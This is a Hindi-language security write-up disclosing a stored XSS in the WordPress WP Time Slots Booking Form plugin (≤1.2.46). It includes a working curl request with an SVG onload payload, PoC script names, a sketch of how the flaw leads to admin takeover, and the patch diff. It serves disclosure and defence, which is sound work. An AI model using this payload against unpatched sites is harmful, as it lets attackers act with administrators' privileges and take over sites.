
CVE-2026-40791: WP Time Slots Booking Form <= 1.2.46 में अनधिकृत संग्रहीत XSS
मैंने WordPress WP Time Slots Booking Form प्लगइन में एक अप्रमाणित संग्रहीत XSS पाया। एक सार्वजनिक बुकिंग सबमिशन संग्रहीत समय-स्लॉट मान के एक भाग को नियंत्रित करता है। प्लगइन बाद में उस मान को प्रशासक बुकिंग ऑर्डर पृष्ठ पर बिना एस्केप किए प्रिंट करता है।
ट्रिक सरल है: प्लगइन सबमिट की गई अपॉइंटमेंट स्ट्रिंग को अक्षरशः स्पेस पर विभाजित करता है, लेकिन HTML एक टैग नाम और एक विशेषता के बीच व्हाइटस्पेस के रूप में एक टैब का इलाज करता है। इसलिए 8:<svg[TAB]onload=...> प्लगइन पार्सर में स्लॉट मान के रूप में जीवित रहता है, और फिर जब प्रशासक बुकिंग सूची खोलता है तो वास्तविक मार्कअप बन जाता है।
| CVE | CVE-2026-40791 |
| प्लगइन | WP Time Slots Booking Form |
| स्लग | wp-time-slots-booking-form |
| प्रभावित | <= 1.2.46 |
| फिक्स्ड | 1.2.47 |
| बग वर्ग | अप्रमाणित संग्रहीत XSS (CWE-79) |
| प्रभाव | सार्वजनिक बुकिंग -> प्रशासक wp-admin सत्र में जावास्क्रिप्ट |
| CVSS | 7.2 उच्च (Wordfence), 7.1 (Patchstack) |
| क्रेडिट | Daniel Wade |
सार्वजनिक बुकिंग फॉर्म इस फ़ील्ड को स्वीकार करता है:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
प्लगइन इसे इस प्रकार पार्स करता है:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
क्योंकि विभाजक एक टैब है, एक अक्षरशः स्पेस नहीं, item_split[1] बन जाता है:
8:<svg onload=alert(document.cookie)>
वह स्लॉट मान बुकिंग में क्रमबद्ध हो जाता है। जब कोई प्रशासक बुकिंग ऑर्डर खोलता है, तो संस्करण 1.2.46 इसे यहाँ प्रिंट करता है:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
कोई एस्केप नहीं। SVG onload प्रशासक पृष्ठ पर फायर करता है।
यह केवल "क्या मैं प्रशासक कुकी पढ़ सकता हूँ?" नहीं है। आधुनिक WordPress प्रमाणीकरण कुकीज़ सामान्यतः HttpOnly होती हैं, इसलिए document.cookie वास्तविक wordpress_sec_* कुकी को उजागर नहीं कर सकता है। महत्वपूर्ण बात यह है कि स्क्रिप्ट एक प्रमाणित प्रशासक-मूल पृष्ठ पर चल रही है। यह समान-मूल प्रशासक पृष्ठों को ला सकता है, उजागर नॉन्स पढ़ सकता है, और पीड़ित ब्राउज़र से प्रमाणित प्रशासक अनुरोध भेज सकता है।
कमजोर प्रवाह:
अप्रमाणित POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> बुकिंग ऑर्डर अपॉइंटमेंट बैज
-> अनएस्केप्ड HTML आउटपुट
पार्सर मानता है कि समय स्लॉट केवल टेक्स्ट है। यह नहीं है। यह हमलावर इनपुट है जो बाद में एक HTML संदर्भ में आता है।
कमजोर सिंक cp-admin-int-message-list.inc.php में है:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
वह phpcs:ignore WordPress.Security.EscapeOutput एक पंक्ति में पूरी कहानी है। एस्केपिंग चेतावनी को दबा दिया गया था जहाँ हमलावर-नियंत्रित बुकिंग डेटा प्रिंट किया जा रहा था।
पेलोड आकार:
8:<svg[TAB]onload=alert(document.cookie)>
यह क्यों काम करता है:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" एक टोकन रहता है
ब्राउज़र HTML पार्सर
<svg<TAB>onload=...> बन जाता है <svg onload=...>
स्लॉट पार्सर अपेक्षित मान प्राप्त करता है। ब्राउज़र को वह टैग मिलता है जिसे वह निष्पादित करना जानता है।
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
मैन्युअल curl:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
अपेक्षित परिणाम:
HTTP/1.1 302 Found
फिर एक प्रशासक के रूप में लॉग इन करें और खोलें:
WP Time Slots Booking Form -> Booking Orders
जब संग्रहीत बुकिंग पंक्ति प्रस्तुत की जाती है तब पेलोड चलता है।
मैंने एक डिस्पोजेबल स्थानीय WordPress प्रयोगशाला में पूरी श्रृंखला मान्य की:
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
फॉर्म 1 पर CAPTCHA अक्षम
[CP_TIME_SLOTS_BOOKING id="1"] वाला सार्वजनिक पृष्ठ
PowerShell PoC ने साफ-सुथरा सबमिट किया:
HTTP status: 302
पेलोड wp_cptslotsbk_messages.posted_data में उतरा:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
फिर हेडलेस क्रोम ने प्रशासक के रूप में लॉग इन किया, बुकिंग ऑर्डर खोला, और संग्रहीत SVG हैंडलर द्वारा सेट किया गया मार्कर देखा:
ADMIN_XSS_EXECUTED
मैंने प्लगइन को 1.2.47 से बदलने के बाद उसी संग्रहीत दुर्भावनापूर्ण पंक्तियों का भी परीक्षण किया। प्रशासक पृष्ठ ने पेलोड को एस्केप किए गए टेक्स्ट के रूप में प्रस्तुत किया:
04/15/2026 8:<svg onload=...>
कोई मार्कर नहीं फायर हुआ:
PATCHED_NO_XSS_EXECUTION
एक छोटा स्थानीय रेंडर सैनिटी चेक भी है:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
यह पूर्ण WordPress इंस्टॉल के बिना दो यांत्रिक भागों को सत्यापित करता है:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
हमलावर को खाते की आवश्यकता नहीं है। हमलावर एक सार्वजनिक बुकिंग सबमिट करता है और एक प्रशासक के बुकिंग ऑर्डर देखने की प्रतीक्षा करता है।
एक बार जब प्रशासक उस पृष्ठ को देखता है, तो हमलावर का जावास्क्रिप्ट प्रशासक के WordPress मूल के अंदर चलता है। एक वास्तविक हमलावर आमतौर पर alert(document.cookie) पर नहीं रुकेगा। वे प्रशासक ब्राउज़र का उपयोग प्रशासक के रूप में करेंगे:
प्रशासक पृष्ठ लाएँ
-> HTML से नॉन्स पढ़ें
-> प्रमाणित प्रशासक POST सबमिट करें
-> साइट स्थिति बदलें
प्रशासक की क्षमताओं और साइट कॉन्फ़िगरेशन के आधार पर, इसका अर्थ उपयोगकर्ता बनाना, प्लगइन सेटिंग बदलना, अधिसूचना गंतव्य संशोधित करना, बुकिंग/ग्राहक डेटा पढ़ना, या प्लगइन/थीम कार्यक्षमता के माध्यम से पूर्ण साइट अधिग्रहण की ओर बढ़ना हो सकता है।
संस्करण 1.2.47 प्रशासक बैज बनाने से पहले संग्रहीत स्लॉट को एस्केप करता है:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
यह सिंक को ठीक करता है। पहले सैनिटाइज़ करना भी उचित होगा, लेकिन सुरक्षा सीमा प्रशासक पृष्ठ में HTML आउटपुट संदर्भ है।
poc/
reproduce.ps1 # PowerShell अप्रमाणित बुकिंग सबमिटर
reproduce.sh # Bash/curl अप्रमाणित बुकिंग सबमिटर
lab/
render-check.html # न्यूनतम कमजोर रेंडर फिक्स्चर
validate-render.ps1 # पार्सर + ब्राउज़र निष्पादन सैनिटी चेक
README.md
| दिनांक | घटना |
|---|---|
| 2026-03-24 | Patchstack को रिपोर्ट किया गया |
| 2026-04-13 | पैच मान्य किया गया |
| 2026-04-23 |
अस्वीकरण: यह PoC पैच उपलब्धता के बाद रक्षात्मक अनुसंधान और सत्यापन के लिए प्रकाशित किया गया है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
CVE-2026-40791 - WP Time Slots Booking Form 1.2.47 में फिक्स्ड। प्रभावित: 1.2.46 और पुराने।
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online
| Wordfence ने सलाह प्रकाशित की |
| 2026-04-24 | Patchstack ने सलाह प्रकाशित की |
| 2026-04-30 | Wordfence अंतिम अद्यतन प्रविष्टि |